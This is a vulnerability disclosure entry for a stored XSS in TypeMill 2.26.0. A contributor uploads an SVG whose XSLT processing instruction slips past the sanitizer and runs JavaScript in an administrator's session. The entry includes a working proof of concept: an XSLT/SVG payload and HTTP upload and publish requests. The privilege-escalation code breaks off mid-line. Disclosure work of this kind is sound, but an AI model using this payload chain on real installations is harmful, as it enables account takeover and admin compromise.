| Title | trendschau TypeMill 2.26.0 Stored Cross-Site Scripting / Privilege Escalation (CWE-79) |
|---|
| Description | # Private Security Report: Stored XSS and Contributor-to-Administrator Privilege Escalation via SVG XSLT Processing Instruction
> **PRIVATE REPORT - DO NOT DISCLOSE BEFORE A FIX AND ADVISORY ARE PUBLISHED**
## Report Status
- Validation status: confirmed end to end in an isolated local installation;
independently reconfirmed against the release sanitizer and Chromium on
2026-08-21
- Disclosure status: private draft; not publicly disclosed
- Reporter: `capivara-research`
- Requested credit: Fernando Viana (`capivara-research`)
## Summary
TypeMill's SVG sanitizer only inspects XML elements returned by
`DOMDocument::getElementsByTagName("*")`. It does not inspect or remove XML
processing instructions. Consequently, an authenticated low-privileged user can
upload an SVG containing an `xml-stylesheet` processing instruction whose XSLT
stylesheet emits executable HTML/JavaScript.
When SVG uploads are enabled, a `contributor` can upload and publish the crafted
file through the image API. TypeMill stores the processing instruction unchanged
and serves the file from the application's origin as `image/svg+xml`, without a
download disposition or restrictive CSP on the static response. When a privileged
user opens the Live, Original, or Thumb link, the browser performs the XSLT
transformation and executes the resulting JavaScript in TypeMill's origin.
In an isolated local installation, JavaScript from the stored SVG successfully
called the administrator-only `POST /api/v1/user` endpoint with the victim's
session and created a new account. This proves that the issue can cross the
`contributor`/administrator trust boundary.
## Product and Version
- Product: TypeMill
- Repository: `typemill/typemill`
- Confirmed version: `v2.26.0`
- Confirmed commit: `050cc875a3fcb9de5abc8da08b89895bdfea7865`
- First affected official release found: `2.6.0`
- Latest affected official release tested: `v2.26.0`
- Configuration prerequisite: the official `Allow svg` setting (`allowsvg`) is enabled
The GitHub releases API and the `v2.x` branch API were rechecked on 2026-08-21.
They identify `v2.26.0` as the latest release and
`050cc875a3fcb9de5abc8da08b89895bdfea7865` as the current branch head.
The vulnerable sanitizer was introduced by commit `befcc65` on 2023-08-23. The
first later official GitHub release is `2.6.0`, and the vulnerable logic remains
present through `v2.26.0`. Versions before `2.6.0` were not assessed and should not
be marked affected without further confirmation.
## Suggested Classification
- CWE-79: Improper Neutralization of Input During Web Page Generation
- Suggested severity: High
- Suggested CVSS 3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` (8.7)
Rationale: exploitation requires a low-privileged authenticated account, SVG
uploads enabled, and one privileged-user interaction. Successful exploitation
executes arbitrary same-origin JavaScript and can read protected responses or
perform administrator-authorized actions. Availability is left as `N` because the
validated proof used only a harmless account-creation marker.
## Security Preconditions
1. An administrator or manager enables `Allow svg` in system settings.
2. The attacker controls a `contributor` account or any higher content role.
3. A privileged user opens one of the direct SVG URLs. The media details view
provides Live, Original, and Thumb links with `target="_blank"`.
SVG upload is not enabled by default. This limitation should be explicit in the
advisory, but the feature is an official TypeMill setting and the sanitizer is
intended to make that feature safe.
## Root Cause
`system/typemill/Models/SvgSanitizer.php` uses an element and attribute allowlist:
```php
$allElements = $this->xmlDoc->getElementsByTagName("*");
for ($i = 0; $i < $allElements->length; $i++) {
$currentNode = $allElements->item($i);
// Element and attribute checks only.
}
```
An XML processing instruction is a `DOMProcessingInstruction`, not a DOM element,
so it is absent from this node list and survives serialization by `saveXML()`:
```xml
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,..."?>
```
The data URI makes the proof self-contained. It does not require an attacker-owned
server or a second uploaded file.
The vulnerable data flow is:
1. `POST /api/v1/image` is authorized with `mycontent:create`.
2. `contributor` has `mycontent:create` through `permissions.yaml`.
3. `ControllerApiImage::saveImage()` adds the SVG extension when `allowsvg` is active.
4. `Media::checkAllowedExtension()` invokes `SvgSanitizer` and accepts its output.
5. `PUT /api/v1/image` publishes the temporary renditions.
6. The physical SVG is served from `/media/live`, `/media/original`, and
`/media/thumbs` as active same-origin XML.
Relevant source:
- https://github.com/typemill/typemill/blob/050cc875a3fcb9de5abc8da08b89895bdfea7865/system/typemill/Models/SvgSanitizer.php#L56-L68
- https://github.com/typemill/typemill/blob/050cc875a3fcb9de5abc8da08b89895bdfea7865/system/typemill/Models/SvgSanitizer.php#L70-L109
## Reproduction
All tests below were performed only against an isolated installation bound to
`127.0.0.1:8880`.
### 1. Create the self-contained SVG
The decoded XSLT used for the minimal execution test was:
```xml
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<html>
<body id="result" data-executed="no">
<script>document.getElementById('result').setAttribute('data-executed', 'yes');</script>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
Base64-encode that document and place it in the SVG processing instruction:
```xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/xml;base64,BASE64_XSLT"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="80">
<text x="10" y="30">Self-contained sanitized SVG</text>
</svg>
```
### 2. Upload as a contributor
Log in as a `contributor` and send the image as a data URL:
```http
POST /api/v1/image HTTP/1.1
Host: 127.0.0.1:8880
Content-Type: application/json
X-Session-Auth: true
{
"image": "data:image/svg+xml;base64,BASE64_SVG",
"name": "poc-published.svg",
"keepformat": true
}
```
Observed response:
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"message":"Image saved successfully","path":"media/live/poc-published.svg"}
```
For non-resizable formats, `saveImage()` returns before processing the `publish`
parameter. Publish the generated temporary files through the API endpoint that is
also authorized for `mycontent:create`:
```http
PUT /api/v1/image HTTP/1.1
Host: 127.0.0.1:8880
Content-Type: application/json
X-Session-Auth: true
{"imgfile":"poc-published.svg","noresize":false}
```
Observed response:
```http
HTTP/1.1 200 OK
Content-Type: application/json
{"message":"Image saved successfully","path":"media/live/poc-published.svg"}
```
### 3. Confirm sanitizer bypass and browser execution
The stored `media/live/poc-published.svg` remained 716 bytes and still contained
the complete `xml-stylesheet` processing instruction. Direct retrieval returned:
```http
HTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Length: 716
```
Opening the exact stored file in Chromium headless produced:
```html
<html><head></head><body id="result" data-executed="yes"><script>document.getElementById('result').setAttribute('data-executed', 'yes');</script></body></html>
```
This confirms JavaScript execution after TypeMill's complete upload, sanitization,
publication, and serving flow.
### 4. Confirm privileged impact
For a harmless impact test, the XSLT output called the following endpoint with the
administrator's existing browser session:
```javascript
fetch(
Vendor coordination
Vendor contacted by private email to [email protected] on 2026-08-21; Gmail message 1a026f87f1b7e1fd.
CVE assignment requested from VulDB; no CVE known at submission time. |
|---|
| Source | ⚠️ https://github.com/typemill/typemill |
|---|
| User | fernando viana (UID 101484) |
|---|
| Submission | 09/21/2026 02:15 (1 month ago) |
|---|
| Moderation | 10/31/2026 18:08 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 429569 [Typemill up to 2.26.0 SvgSanitizer.php saveImage cross site scripting] |
|---|
| Points | 20 |
|---|